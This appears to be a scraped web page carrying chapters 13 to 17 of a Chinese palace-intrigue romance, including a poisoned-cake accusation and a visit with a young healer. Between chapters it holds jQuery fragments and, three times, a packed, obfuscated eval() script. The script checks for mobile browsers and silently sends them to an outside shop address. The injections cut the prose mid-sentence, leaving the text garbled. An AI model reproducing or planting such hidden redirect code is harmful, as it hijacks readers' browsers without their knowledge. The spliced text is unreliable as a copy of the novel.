$(''.inform'').remove();
$(''#content'').append(''
“姨夫姨母视我为己出,待我很好。”
纪廷修与肖怜才稍稍宽心了些。
又与阿爹阿娘说些了近况,得知替她入狱的那姑娘是尚书府寻来的,自幼无父无母,一个人将四岁的弟弟拉扯大,欠了不少债,前几日弟弟染病过世,人也没了心性,这才被讨债的人卖去尚书府落了奴籍。
念在她也只是个身世凄苦的清白姑娘,替她入狱一事,纪棠明终究过意不去。可事已至此,她能替那姑娘做的就是早日助她出狱,脱去奴籍。
纪棠明想起梁永,四下望了望,见无人,便道:“梁伯伯已在想法子收集证据,梁永也来了京中助我。听闻近几日替爹爹陈情的官员不少,只是陛下病重昏迷至今,朝局由燕皇后把控,此事被压了下来。”
纪廷修闻言,凝着眉思索了良久,半晌才道:“燕皇后如何为人我不知,只是北疆战事频频,若还想为朝廷着想,便应当速速追查此案,惩治贪官,充实国库才是。如今这般拖延,倒是叫人看不清意图。”
他似是想到了什么,忽然抬头看向纪棠明:“明儿,有一重要的事需要交代于你。”
“爹爹但说无妨。”
“我记得每年开春,宫中会办一场踏青宴,借春游方便皇子公主和世家子女相看,届时皇后娘娘与宫中妃嫔大多都会赴宴。三皇子远在北疆,暂且不考虑,大皇子、二皇子、四皇子皆未娶亲,你设法拿到邀贴,看看皇后娘娘有意为哪位皇子指婚。”
纪棠明一怔:“爹爹的意思是,皇后有意替哪位皇子指婚,哪位便是她中意的储君人选?”
纪廷修沉声道:“不错。皇后娘娘未有子嗣,若选储君,只能是在这几位皇子之间。历来我朝储君之位,大抵都是成了家的皇子继位。看皇后娘娘替哪位皇子指婚,你便想法子结识,此时恰是缺人之际。”
纪廷修叹口气,闭上了眼:“我向来厌□□派之争,如今竟也沦落至此。”
纪棠明却久久不能回神,揣摩着爹爹方才的话,心中犹如炸起了惊涛巨浪:皇后娘娘中意的储君人选,竟然会是二皇子?
她才嫁入宫中,便听闻二皇子娶关家女,乃是燕皇后旨意。看他们二人态度,像是二皇子因此与她生了间隙,关系不大好。
可二皇子后面虽然无人撑腰,朝中大臣对他却是嗤之以鼻,若燕皇后有意立他为储君,须得力排众议,不知有多艰难。
纪棠明无论如何也想不通皇后为何会选了风评最差的一位皇子扶持,若说适合做傀儡,大皇子、三皇子背后同样没有母家撑腰。
纪棠明拜别父母,心事重重回了宫。
我朝历来太子另娶,除非是原配过世,或犯了谋逆大罪被斩首,未曾有过太子与太子妃和离的先例。一旦成了储君正妃,族谱家室录入皇谱,便是再也不能更改了。
纪棠明想到此,一颗心冰冷到了谷底。
揽月堂内烛火通明,她想也没想便推开了门,却见段则煜端坐在内室等她。
纪棠明猛然顿住了脚步,呼吸一滞,从头到脚一阵寒意。
她心里只有一个念头:他来兴师问罪了。
14. 他的心上人
该来的终究躲不了。纪棠明唤了声“殿下”,便沉声走了进去。
今日她让花楼姑娘帮她乔装打扮,本也没准备瞒天过海,只是没想到二皇子会来得这么快。
纪棠明盯着裙边,心思复杂。偷令牌的确是她不该,她深吸一口气,正欲开口解释,段则煜的声音却从那头传来:“今日元宵节,御膳房送来了红豆馅的圆子,尝尝看?”
纪棠明诧异抬头,只见段则煜嘴角漾着笑意,温润和煦,仿佛与花楼里那个神情恹恹的人两模两样。
桌案上放着一个檀木食盒,里面有两碗浮着圆圆白白圆子的吃食。
……他竟不是来问责的?他不知今日顺走那令牌的女子是谁?
纪棠明愣了好一会了儿,才忐忑地走了过去坐下。
今日竟是元宵节。她这几日浑浑噩噩,整日被琐事缠身,加之生了一场病,的确也是许久未看挂历了。
这么说,二皇子只不过是特意与她来过元宵节的?
纪棠明脑中思绪纷乱,拿着银勺的手悬了一会儿,直到段则煜往她碗里夹了一个滑溜软糯的圆子才反应过来。
“多谢殿下。”
纪棠明没再多话,段则煜还未动筷,她本不欲先吃,肚子却不合时宜的叫了起来。
咕——
纪棠明一阵窘迫,段则煜含笑道:“爱妃先吃。我已用过膳了,还不太饿。”
今日跑了一整天,又闻到圆子甜腻的味道,肚子确实饿了。
纪棠明见此便不再推辞,接过汤碗,盛了小圆子,一口一个,吃得很香。
圆子馅有些烫口,红豆沙的甜馅在唇齿间化开,带来一股子清甜的气味,滋味的确尚可。不过三两下,她就吃完了一整碗。
“爱妃若是喜欢,往后可叫膳房常做。”
纪棠明放下勺子拿手帕拭了拭唇,勉强冲他笑了笑:“劳殿下挂念了。”
嘴上如此,纪棠明心里不由得冷笑。
常人见了,定以为二皇子就是这般体贴人情,可纪棠明今日在花楼,分明被他私下那般对待……
想起那团温热柔软贴在脖子处的酥麻触感,纪棠明就不禁打了个颤。
简直是伪君子,令人作呕。已有正妻,却还在外面莺莺燕燕纠扯不清。
若说前几日,她还觉得二皇子和善体贴,今日便算是见识到了他的真面目。
她又想起那日在二皇子枕头下翻出来的荷包,心道哪个女子如此倒霉,竟做了他的心上人。
纪棠明抿唇不语,却听那头段则煜幽幽道:“爱妃今日一身红裙很好看,衬你。”
他漆黑的眸子宛如盛着一汪池水,好整以暇地盯着纪棠明。
纪棠明错愕地抬头,手下意识攥紧了帕子:“红……红裙?”
想起他那时压抑克制下的微微喘息和泛红的眼尾,纪棠明的脸腾地红了。
“听闻爱妃与江州表妹纪家关系甚好,想必定然忧心此事,我便叫了江州录事参军之子与我详谈,了解案情,好替爱妃分忧。”
“不过今日多有冒犯,我……”
段则煜面露难言之隐,如今如何辩解都是骑虎难下。他们二人虽为结拜夫妻,纪棠明却对他无意,本不该如此唐突。他垂了眼眸,便不再说了。
“殿下煞费苦心,妾身自当体谅的。”
纪棠明悬着的心稍稍安定了些,又硬着头皮道:“你……你我本就是夫妻,何来冒犯一说?”
话音将落,屋内安静了几息。
二人还未捅破窗户纸,说这些实在是难为情,纪棠明不敢抬头看他,今日在花楼里的场景却接二连三往脑海里蹦。
她羞赧之余,又不免觉得奇怪。单看二皇子素日品性,的确不大像会做出今日失控之举的人,她也未曾用过迷人心智的香料。
可看二皇子神情,似是沙漠里口渴多日的人忽然见到了一汪清泉,又或是……苦苦守候的男子忽然见到了日思夜想的人,眼中盛着小心翼翼,又带着克制不住想疯狂占有的欲望。
纪棠明不禁有些恍惚。
她忽而想起折春说,二皇子与皇后娘娘因娶关家女一事闹了不快,可婚后又分明对她关怀备至,联想到那枚荷包和今日失控之举,一个大胆的猜测浮现在她心头。
莫非二皇子的心上人与她长得很像?
如此一来,二皇子帮衬关静姝的表妹家也便能说得通了。
不知怎地,纪棠明心里竟安定了稍许。只有别被他发现身份有异就好,扮演一下白月光不算什么坏事,说不定……还能借此利用二皇子救出阿爹阿娘。
纪棠明抬头望着他,笑得温婉:“昨日瞧见殿下手了伤,可有上过药?”
段则煜闻言,抬起右手瞧了瞧,上面的白色纱布包扎的乱七八糟。他不禁有些窘迫,纪棠明却直接拉过了他的手。
房中有备用的纱布和金疮药,纪棠明去取了来,小心翼翼替他将旧纱布拆开上药。手掌伤口零散,像是被刃器所割,一片血肉模糊,看不清掌心是否有细茧。
纪棠明神色无异,动作轻柔地将残留淤血拿药酒擦拭干净。
她的鼻息轻轻落在伤口柔嫩处,一股麻意自掌心直钻心底,撒了药的伤口夹杂着灼烧感,段则煜不由得往后仰了仰,紧紧蹙眉,克制着想把手指狠狠掐进肉里的冲动。
好痒……但又有一丝爽意。
纪棠明温热的掌心托着他的手,弄得段则煜半个手臂都有些酥酥麻麻的。
纪棠明见他后躲,以为是自己力度稍重了些,手下动作更加注意,尽量不与他接触,三两下就利索包扎好收回了手。
手背温暖的触感陡然消失,段则煜望着包扎漂亮的纱布,心里隐隐有些失落。
他活动了下手腕,面上神色如常:“辛苦爱妃了。”
“殿下这手……是如何弄的?从前父亲习武,手上也总留这样的伤。”
纪棠明抬头望着他的反应,段则煜只是淡淡道:“不小心打碎了一个杯子罢了,无碍。”
她佯装懵懂地点点头,索性将话挑得更明白些:“晌午听青锋与青刃说,殿下偶尔会去演武场,还以为殿下忽然醉心武器,这才不慎伤到了。”
段则煜顿了一瞬,挑了挑眉:“爱妃是在担心我?”
“可惜我天生对武一窍不通,实在是有心无力。去演武场不过是因为那里有处地方视野开阔,常去散心罢了,下次也带你去看看。”
段则煜见纪棠明垂眸不语,唇角不禁弯了弯。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405679|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纪棠明却有一丝失落,看来救她出狱那人当真不是他。
“往年民间举办的元宵灯会也因父皇病重暂且取消了,有些可惜,不然带你去瞧瞧那游龙,也是一桩元宵趣事。”
忽然他又想起什么,哑然失笑:“噢,爱妃自幼长在京城,想必早已看腻了。”
纪棠明只道:“陛下龙体要紧,不过是个灯会,年年都有。”
不过毕竟是元宵佳节,不能与家人团聚,纪棠明心中多少有些伤感。
去年今日,爹爹还带着一家人去镇上采买食材,亲自下厨烧了一锅糖醋鱼,她到现在还惦念着那股味道,如今已然物是人非。
夜色渐深,段则煜也没再久留,独自回了含章殿。
他才出院子,纪棠明房里的窗子就咚咚作响,好似有什么东西在啄。
纪棠明心下正疑惑,起身凑过去一瞧,一个小小的身影在窗户纸外晃动。
纪棠明赶忙打开窗子,将小风放了进来。
小风跳进屋子里,腿上绑着一只小竹筒,纪棠明展开那里面的信纸,一行小字写着:
“明妹妹亲启。不知你如今落脚何处?今日不告而别,甚是担忧,还望回信。梁永。”
纪棠明念完,就将信纸放在烛火上烧了。她铺开笔墨,沉吟片刻,拿左手一字一句写道:“我无碍。住处多有不便,传信交由小风即可。”
小风站在桌上,歪头看着她写完这些,又蹭了蹭纪棠明的手,一颗圆溜溜的眼珠黑得发亮。
纪棠明将写好的字条放进小竹筒里面,一时间心情复杂。
梁伯伯与梁永愿意帮助纪家,这份恩情她没齿难忘。
只是……
纪棠明靠回椅子叹了口气。她一直知晓梁永的心思,他自幼就心悦于她。从前没挑明时,她一直装傻充愣,可如今她已嫁作人妇,再不明说,便是要耽误梁永了。
她替嫁的事越少人知道越好,自然不能直接告诉他,纪棠明想到此,不禁有些苦恼。
……
元宵节一过,京都的天便日渐暖和,院中廊桥下的细柳已隐隐冒了绿尖尖,只不过看着仍然灰扑扑的,还是要抽出绿叶来才好看。
陛下龙体抱恙,纪棠明前几日忙于父亲的事,一直未去探望。作为儿媳,再不去装装样子,恐怕要落人口实了,她叫霜儿替她梳了个婉约的妆发,即刻动身福宁殿。
这时前去,她也有私心。她想借替陛下寻医的名义出宫,顺便为祖母择一位民间的大夫,以免惹人生疑。
刚从福宁殿出来的苏公公见皇子妃来,瞥见丫鬟手里还提着一盒东西,挤出来一个笑:“二皇子妃安。今日来可是探望陛下的?”
纪棠明含笑颔首:“父皇前几日病着,贸然前去怕扰了太医医治,如今听闻陛下身子稍好了些,便特意带了参糕前来。”
“二皇子妃客气了。您来得正好,此时陛下尚清醒着。”苏公公顿了顿,抬头示意霜儿将手里的食盒递给他,他接过食盒,又向纪棠明赔笑:“皇子妃莫怪,这是殿前的规矩。”
纪棠明微微一笑,只见他从袖中掏出来一卷银针,命霜儿将食盒打开。
银针悬入软糯的糕点停了几息,抽出来时,通体银白色的针却呈现黑墨色。
15. 栽赃
苏公公定睛看清银针上的变化后,神色大骇,慌忙往后撤了两步,尖声道:“此物有毒!”
纪棠明未预料到会有这个变故,还未反应过来,周围的禁军就已经持剑冲过来将她和霜儿拿下。
她被一左一右的侍卫擒着,心下惊魂未定:“苏公公,此事定有误会!”
做糕点的人参是霜儿亲自去太医署拿来的,今日也是纪棠明亲眼盯着灶房做的参糕,旁人绝不可能有下手的机会。纵使纪棠明有一百个胆,也不可能做出这种诛九族的事来。
“皇子妃,是否冤枉,还得大理寺查验才知。您可能无心谋害陛下,底下的人却不一定。都押下去吧。”
苏公公抚着心口,仿佛也受了惊,招招手就急着将纪棠明和霜儿二人押入大理寺。
纪棠明心头却隐隐觉得有些不对,眼看苏公公转身就要回殿内禀告,忙道:“公公且慢!可否听我一言。”
苏公公驻足,侧着身分给她一个不屑的眼神:“皇子妃还有何言辩解?咱家的银针还有假不成!”
纪棠明的脊背被冷汗浸湿了大片,她镇定呼吸,沉声道:“公公的银针不会有假,可糕点未必就有毒。”
苏公公神情怔了一瞬,转过身一甩拂尘示意侍卫放开她,等着她继续说。
纪棠明束着的胳膊被松开,她稍稍活动了下手腕,看着侍卫手中的“证物”,语气异常冷静:“可否让我看看这个参糕?”
侍卫得到苏公公眼神示意,将手里食盒递给了纪棠明。
纪棠明掰开一枚糕点,放在鼻子底下闻了闻,眉头蹙起。这糕点配料寻常,也未有毒物的气味,应当不可能让银针变色,不过单凭气味也无法断定这里无毒。
今日此事着实蹊跷。
首先是苏公公,虽然为宦官总管,近身侍候的事却不会劳烦他老人家,为何会随身带着整整一卷的银针?
再者,哪怕真是她下的毒,毕竟身为皇子妃,也该由大理寺定罪之后才能押她下狱,苏公公全然不管身份有别,在福宁殿前便要拿下她,实在是说不通。
苏公公咬定参糕有毒,她一时也百口莫辩。
正一筹莫展之际,纪棠明忽而想到今早灶房主厨的娘子说,她老家有一味去药材苦味的糕点做法,其秘诀是面粉里打上滤过蛋清的蛋黄,和面不用井水,而掺茶水。
如今细细想来,处处奇怪。只是她当时因这些个用料常见,并未生疑,或许乌龙便在其中。
“皇子妃,莫不是想拖延时间等二皇子来?咱家就明说了,今日哪怕是皇后娘娘来,也护不下你。”
苏公公不欲再浪费时间,那头殿内却传来一道略沙哑的声音,嗓音不大,却字字句句入人耳:“何事吵闹?”
苏公公一惊,立马朝着殿内跪了下来:“奴才该死,扰了陛下安养。”
纪棠明赶忙屈身行礼,心里忐忑不宁,视线紧紧盯着地面,听那道脚步声越来越近,却丝毫不敢抬头。
直到那不急不缓的步伐在她前面站定,才听他道:“皇子妃平身吧。苏誉才也起来。”
“谢陛下。”
苏公公战战兢兢从地上起来,弯这腰听候发落。
“陛下,方才奴才照例验了二皇子妃拿来的糕点,发觉银针变黑,恐怕遭人下了毒,这才要缉拿二皇子妃和这丫鬟。奴才罪该万死。”
谁知陛下却道:“朕在殿内已听了个七八分,皇子妃如何想便如何说,自当给你公正。”
侍候的宫女给陛下搬了把椅子过来,大有追问到底之势,纪棠明这才小心翼翼地望了那道明黄色身影一眼,道一声“是”。
与她想象中不同,陛下虽然昏迷多日,瞧着却是个硬朗的的,两鬓略有苍色,依旧掩盖不住眉眼里的煞气,是久经沙场磨砺出来的狠劲。
纪棠明收回视线,福礼道:“妾身学识浅薄,却曾听闻能让银针变色的,不止遇毒。今日这参糕里面有人参,面粉,茶叶,牛湩,鸡卵,都是些寻常的配料,但遇到一起是否会让银针变黑,还需一试。”
陛下闻言,略点了点头,招手让下人们拿来了这几样配料。
五样东西分立摆开在殿前桌案上,纪棠明视线一一略过这几样东西,检查无误,便先拿茶叶沏了一壶水。
人参,面粉,牛湩,是做参糕最少不了的基本食材,纪棠明觉得问题大抵不在这,将重心暂且放在了另两样上。
她将沏好的茶倒在空碗里,又拿勺捞出了蛋黄与茶水搅拌混合,到了这一步,便借用苏公公的银针进行验证。
纪棠明轻呼一口气,将银针缓缓探入碗中。
一时间几个人都屏住了呼吸,紧紧盯着银针的变化。
银针从那碗中拿出来时,不过几息的功夫,针尖便迅速变黑了。
纪棠明看见这番变化,心下一喜:“果真是如此。父皇请看。”
她将银针拿手帕包着,递上前给陛下一观,陛下见此,竟是笑着点了点头。
方才传唤来验毒的掌膳也到了,他端起糕点嗅了嗅,又拣了一枚放入口中细嚼,半晌回禀道:“陛下,此物并无毒。”
陛下略点了点头,便让他退下了。
苏公公叹为观止,不止是见陛下难得龙颜大悦,更是头回知道这蛋黄和茶叶竟也能让银针变黑,一时羞愧难当。
“是奴才失礼了,还望皇子妃莫怪。今日失察,请陛下、皇子妃责罚。”
陛下朗声笑道:“皇子妃不愧是尚书之女,聪慧镇静,倒是教朕刮目相看,皇后当真是给煜儿择了门好婚事。至于责罚,皇子妃定夺罢。”
纪棠明谦逊一礼,不敢邀功:“不过小小把戏,父皇谬赞了。苏公公也是依职办事,若说责罚,实在言重。”
苏公公面露愧色,冲纪棠明施以一礼:“皇子妃大度,是奴才冒犯。”
“既如此,此事便是解决了,只可惜皇子妃一片心意,朕是没有口福了。”
陛下爽朗笑了几声,纪棠明不由得被感染,也弯了唇角:“妾身改日再给父皇做一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405680|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盒来。”
寒风簌簌,宫女过来给陛下披了件大氅,见陛下仍有些咳嗽,纪棠明说了些该说的场面话,便不多留,搀陛下回去歇息了。
离了福宁宫,纪棠明才惊觉腿脚脱力,四肢冰凉似铁,被霜儿扶着才堪堪站直身子。
“主子经历今日这么一遭,当真是吓到了。”
纪棠明心有余悸地点点头,回想起陛下和苏公公,总觉得都不是什么简单的人。
陛下英明神武,她是不敢在他面前多晃的,生怕被瞧出身份不对。
方才她从殿里出来,苏公公还暗里敲打她莫要声张此事。传出去对她没有一丝好处,她便允诺了。
纪棠明腿脚不便,走得极慢,心里又压着事,只道:“霜儿,今日那灶房做了糕点的白嬷嬷是什么来头?”
“听闻白嬷嬷来宫里十余年了,以前是柳贵妃宫里的厨子。”
“哦?那为何会来崇仁宫?”
“柳贵妃喜好尝鲜,前些年陛下便赐了些新来的御厨给她宫里,灶房本不需要那么多厨子,从前的便一并分配到了各宫里。”
“原是如此。这几日你打听打听,看看这白嬷嬷和柳贵妃还有没有往来,还有,顺便探探苏公公和宫里哪位娘娘走得近。”
霜儿点了点头:“主子是担心今日的事是背后有人谋划?”
纪棠明顿了脚步,神色凝重:“总觉得有些过于巧。可又说不准,若有人刻意为之,其目的是什么呢,用这种拙劣的法子并不能叫我入狱,反倒打草惊蛇。”
“大抵还是朝廷那些弯弯绕绕吧,关老爷兴许是得罪了什么人,那人想借此吓唬吓唬您也是有可能的。主子别想那么多了,今日沐浴休息,明早还要出宫给老夫人寻大夫呢。”
霜儿搀着她的胳膊,笑容灿烂,纪棠明心情都松快不少。回宫一番沐浴,阴霾也被洗清了。
前几日用了尚书府送来的雪肤霜,她身上的淤青都散得差不多了,如今已无须再拿厚厚的粉遮掩着,也不必梳洗的时候避着揽月堂的宫女了。
.
有了昨日一事,纪棠明便更有理出宫了。
不管何人出入宫门都要被盘问登记,故而崇仁宫的马车悠悠在宫门停下时,纪棠明毫不意外。
外头声音道:“失礼了。在下奉命行事,还望皇子妃配合。”
纪棠明自是不必亲自接受盘问,霜儿下了马车替她在簿册上记明出宫要事后,那侍卫看了一眼,却道:“宫里有上好的药材,娘娘何须出宫去找?”
纪棠明在马车内沉默了几息,一时不知如何回应。她只是以此事做了个出宫幌子,其中根结还未细究,没料到侍卫竟会追问。
“皇后娘娘懿旨,宫内上至皇子朝臣,下至妃嫔家眷,无特殊事由不得随意出入宫门。娘娘若寻上好的人参,不如去太医署。”
纪棠明张了张口,还未出声,有一道冷冷的声音呵斥那侍卫:“大胆,二嫂嫂也敢拦着?”
纪棠明心下一沉:又是他。
16. 小医工
四皇子笑意盈盈道:“底下的人不懂事,还望嫂嫂不要放在心上。”
纪棠明隔着帘子看不到他的神色,却也能通过他上扬的语调想象出那副虚情假意的模样来。
那日故意在二皇子面前送令牌给她的事,她可还记着呢。
纪棠明自诩不是个记仇的人,只道:“那便多谢四弟了。”
“嫂嫂一向不搭理我,眼下又急着要走?”
纪棠明被噎住了,他继续道:“今日来是想提醒嫂嫂一句,有些人面上好心,其私底下未必真心想帮,瞒着你的事可多着呢。”
纪棠明心道:莫不是在说他自己?
“这些就不劳四弟操心了,我在宫外还有要事,先行一步。”
随着车夫“驾”一声扬鞭,马车驶向宫外,四皇子在后面遥遥喊道:“若嫂嫂看清了真面目,随时来找我。”
望着马车拐过宫墙角,四皇子脸上方才还洋溢的笑容便消失殆尽。
她要避嫌,他就非要闹得人尽皆知。离间她与二皇子,他有的是办法,不急于一时。
.
宫外车马熙熙攘攘,纪棠明许久未呼吸过乡下松快的空气,特意命车夫挑了人多的集市穿过。
叫卖声此起彼伏,闲碎的交谈声夹杂着刚出笼的面香丝丝缕缕飘进车帘内,闻得纪棠明和霜儿齐齐一咽口水。
纪棠明挑起车帘,外面挑着扁担做买卖的人不在少数,皆衣着朴素,脸上洋溢着昂扬的笑。
与宫中压抑的气氛不同,这里每个人都是鲜活的、纯粹的。
只有在这种地方,纪棠明紧紧攥着的心才能放松稍许,仿佛又回到了江州老家。
“小娘子,刚出炉的葱油饼要一个不?”
一位大婶见纪棠明四处张望,忙隔着半条街喊住了她。
“来两个吧。”
霜儿下马车付了几个铜板,提着热乎的葱油饼上来了。这饼子烤的恰到好处,入口满是葱油香,熟油黄澄澄的,吃着也不噎。
纪棠明见她慈眉善目,咬着饼子,顺势打听道:“这位娘子,附近何处有医馆?”
她抬头朝巷子那边努了努嘴:“喏,沿着街走,下个岔路右转就有一家。何大夫心好着呢,我们邻里都找他看病。”
纪棠明浅笑着道了声谢,按她所说的路走,到拐角处果真看见坐落着一家小医馆。
许是年久失修,这医馆悬着“医者仁心”的牌匾落了厚厚一层灰,墨色笔迹已然变了色,整个墙面也灰扑扑的。走近院子里,才见其中模样。
院内晒着五颜六色一干草药,盛着草药的竹萝次递摆在梯子一般的架子上,铺面而来一股沁人的清香。院子与外面不同,倒是井井有条,角落也清扫得干净。
内堂隐隐传来交谈声,纪棠明绕过那些晒药的架子,才听见里面道:“我济善堂不招弟子,你还是请回吧。”
一道略细嫩的声音急了:“为何?我通读医书,定能帮上忙的!”
那老先生叹了一口气:“我没钱给你发工钱,也不能给你个落脚处,公子还是另寻他处吧。”
纪棠明在门后犹豫。她并非有意听墙角,此时站在院里略显尴尬,也不好直接推门而入,两面为难。
里头安静了片刻,那少年便失魂落魄地出来了。
他脸庞生得白净,眼睫纤长,身子骨也瘦小,穿一袭洗得脱色的粗布衣裳。若不是头上束着发冠,叫人看成个小姑娘也不奇怪。
纪棠明的视线没在他身上多停留,径直进了里头。
老先生胡须花白,唯眼睛炯炯有神。见纪棠明进来,斜瞥了她一番,一眼就瞧出她不是给自己看病:“实在抱歉,老夫精力有限,已不再出诊了。”
纪棠明点了点头:“无妨,先生抓几副药也可。”
他不再推脱,转而坐在了账台后面:“什么症状?”
“老人家受了惊,心神不宁,有臆症,时常胡言乱语,有时……还认不清人。”
老先生眉头皱了皱:“有多久了?”
“大约半月余。”
他摇了摇头:“此症需亲自把了脉,施针下药才可好转。娘子上别处寻大夫去吧。”
他下了逐客令,纪棠明也不好再劝,只得出了门。
往大理寺带人风险太大,若那大夫是个口风不严的,反倒惹火上身,纪棠明原本准备先抓几副药给祖母,她也好带进去。如今看来,这法子行不通。
在京中也没有熟悉的大夫,她一时犯了难。
还没走出院门,纪棠明猛地想起方才那位少年,一下有了主意。他不像富贵人家的孩子,年纪也尚小,看着是个心思纯善的。
纪棠明跑出院外,忙问外面等候的霜儿:“可看到方才那少年去了何处?”
霜儿指指巷子深处道:“往东边去了。”
这巷子幽深,纪棠明觉得他应当还没跑远,便提裙追了上去。
她自幼身子不好,才跑了两步就气喘吁吁,双腿如灌了铅一般沉重,眼看不见少年的身影,转头一瞧,他竟就在拐角蹲着。
少年一双眼睛哭得通红,听到身旁动静,埋在膝盖里的头仰了仰,看清纪棠明后,固执地将头转了过去。
纪棠明猜这少年大抵是被人看到这幅狼狈模样,有些窘迫,索性坐在了他旁边。
“你喜欢医术?”
少年不去看她,却还是点了点头:“《伤寒杂病论》,《千金方》,《肘后备急方》,《针灸甲乙经》……这些我都背的滚瓜烂熟。”
纪棠明面露赞扬,哄小孩似的道:“这么厉害?那你有治过人吗?”
少年高傲道:“那是自然。东十坊的乡亲们没钱去医馆,都是我治好的。”
纪棠明故作恍然大悟:“恰好我祖母病重,可否也请你去看看?我有钱付酬金的。”
她并非唬这少年,尚书府将嫁妆匣子的钥匙给了她,她不会大肆挥霍,如今手里也算周转的开。
少年面露迟疑:“我不要钱。大姐姐你家在哪?”
“……病人不在我家,在大理寺,你可愿意去?”
他却像听到了什么可怕的字眼,头摇得像拨浪鼓,连道不去不去,揪紧了自己的布包准备赶紧溜走。
纪棠明不解,三步并作两步,起身将刚跑出去的少年提了回来:“又不打你,你跑什么?大理寺哪里是那么吓人的地方。”
少年脸色惨白,看来不像是装的。
纪棠明松开了他的胳膊,有些无奈,只得敲打他道:“别处出诊收一百五十文诊金,我给你一两,行不行?”
少年依旧摇头,说什么也不肯去大理寺。
纪棠明见他软硬不吃,忽然心生一计:“我记得有则律法好像是说,未行冠礼,未取得行医凭症,皆不得出诊开药,否则拉去大理寺杖责二十,是不是?你叫什么名字,凭证拿来让我瞧瞧。”
少年慌忙退后了几步,路口却被纪棠明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405681|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堵着,无处可逃。看着此情此景,纪棠明忽然觉得自己好像一个欺辱幼小的恶霸。
那少年的唇抿成了一条直线,似是妥协道:“我跟你去!千万别去官府告发我。我……我叫阿离。”
他紧紧抱着自己的布包,好似下了什么狠心的决定,纪棠明看得发笑,满意道:“那好,阿离,明日晌午,我来此处接你。”
阿离松了一口气,神情复杂地点了点头。
……
这几日纪棠明总是睡不安稳,夜夜梦魇,心口都压得上不来气。
一会儿梦见有人追杀她,几个人扑在她身上要将她掳走,一会儿又梦见乡下老家的大黄狗舔她脖子。
霜儿说是她最近思虑过重,担心老太太身子,今日让阿离看过便好了。
纪棠明觉得有理,没再多想,让霜儿给她梳了个未出阁女子样式的发髻,着一袭杏黄衫裙,装作崇仁宫采买的丫鬟偷摸出宫了。
她如约到了昨日约定那个巷口,阿离早已在此等她,只是今日他戴了一个帷帽,遮住了面容。
想起昨日他死活不肯去大理寺,纪棠明试探道:“莫非你在大理寺有什么熟人?”
他摇摇头:我年纪尚小,怕官老爷生疑,将我抓起来可怎么好?”
此话倒在情理之中,纪棠明觉得这少年心思纯良,人也有趣,便没再多问。
到了大理寺,纪棠明先没叫阿离下马车。
这令牌许她一个人自由进入,也不知能不能带人,若贸然带了他进去,给人家惹了麻烦便不好了。
那侍卫眼尖,已是认出了纪棠明,不得她拿出令牌就躬身退到了一边。
纪棠明有些不好意思道:“我狱中亲眷身患重病,迫切需要大夫看诊,不知可否放我这位医工小兄弟通行?你们派人跟着也可以。”
侍卫并未奇怪,道:“这倒无妨,让在下看一眼便是。”
纪棠明冲马车那边朗声唤道:“阿离。”
少年扶着车橼下了马车,手里提着一个小药箱,乖顺的站到了纪棠明旁边,头上依旧戴着那顶严严实实的帏帽。
他站在纪棠明旁边,还比她矮半个头,如何看都是一个尚稚嫩的小孩。纪棠明想起昨日他还自称已行冠礼,便忍俊不禁。
那侍卫眼风扫了阿离一眼,持剑作揖:“可否将帏帽摘下片刻,狱中严禁携带兵器匕首,在下须验身。”
阿离身子僵了一会儿,才慢慢吞吞地摘下了帏帽。他穿着一身洁白素衫,身无他物,侍卫上下打量了他一眼,便放了通行,没再多问。
经方才一查,阿离似乎一直有些提心吊胆,纪棠明宽慰似地搭上了他的肩:“你放心,我特意说你是医工,没说是看诊的大夫,就算你没有凭证,他们也奈何不了你。”
阿离这才紧张兮兮地点了点头。
纪棠明为了让他不那么紧绷着,一边带他往里走,一边找话聊:“你瞧着只有十五六岁吧,你爹娘呢?平日出诊他们不管你?”
阿离垂着脑袋,一颗黑溜溜的眸子黯然无光:“娘亲在我出生时难产过世,阿爹……素来很忙,也顾不上我。”
纪棠明步子顿了顿,看他衣着也知家境贫寒,如今又捅到人家痛处,实在有些愧疚,忙移开话题:“你叫阿离,这名字真好听,可有什么寓意?”
“……邻家的嬷嬷说我天煞孤星,克死了阿娘,克死了兄长,便给我取了小名阿离。”
纪棠明:“……”
17. 草包的幕僚
阿离似乎已经习惯了,神情又恢复如常,只道:“我们还是快走吧,我可不想在这地方多待。”
纪棠明点点头,带他绕过那个熟悉的拐角,到了走廊最后一间牢房。
她要不到牢门钥匙,只得委屈阿离隔着铁杆把脉问诊。
阿离脸上看着稚嫩,看病医人倒是手下利索。他只浅浅搭上了祖母的腕,眉头拧了半柱香,就已有了结论。
一家人紧紧盯着他手下动作,阿离却没说话,从小药箱里拿出一卷长针,在几处纪棠明叫不上名字的穴位施了几针。
